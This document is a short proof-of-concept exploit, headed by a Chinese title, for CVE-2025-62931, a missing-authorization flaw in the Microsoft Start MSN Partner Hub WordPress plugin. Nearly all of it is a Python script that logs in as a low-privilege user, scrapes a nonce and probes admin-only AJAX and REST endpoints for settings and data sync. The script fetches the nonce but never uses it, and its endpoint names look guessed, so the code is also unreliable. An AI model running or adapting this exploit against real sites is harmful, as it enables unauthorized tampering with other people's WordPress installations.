CVE-2025-62931 Microsoft Start MSN Partner Hub WordPress插件缺失授权漏洞

import requests # CVE-2025-62931 PoC - Missing Authorization in microsoft-start plugin # Target: WordPress site with microsoft-start plugin <= 2.9 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_wordpress_nonce(url): """Get WordPress nonce for authenticated requests""" session = requests.Session() login_url = f"{url}/wp-login.php" # Login to WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) # Extract nonce from admin page admin_url = f"{url}/wp-admin/admin.php?page=msn-partner-hub" admin_page = session.get(admin_url) # Find nonce in page source import re nonce_match = re.search(r'name="_wpnonce" value="([a-z0-9]+)"', admin_page.text) if nonce_match: return session, nonce_match.group(1) return session, None def exploit_missing_authorization(url): """Exploit the missing authorization vulnerability""" session, nonce = get_wordpress_nonce(url) if not nonce: print("[-] Failed to obtain nonce") return # Try to access admin-only functionality with low privilege account # This endpoint should require admin privileges but lacks proper authorization checks exploit_endpoints = [ f"{url}/wp-admin/admin-ajax.php?action=msn_partner_hub_save_settings", f"{url}/wp-admin/admin-ajax.php?action=msn_partner_hub_sync_data", f"{url}/wp-json/msn-partner-hub/v1/settings" ] for endpoint in exploit_endpoints: print(f"[*] Testing endpoint: {endpoint}") # Attempt to access protected functionality response = session.get(endpoint) if response.status_code == 200: print(f"[+] Vulnerable endpoint found: {endpoint}") print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Endpoint returned: {response.status_code}") if __name__ == "__main__": print("CVE-2025-62931 - microsoft-start plugin Missing Authorization PoC") print("=" * 60) exploit_missing_authorization(TARGET_URL)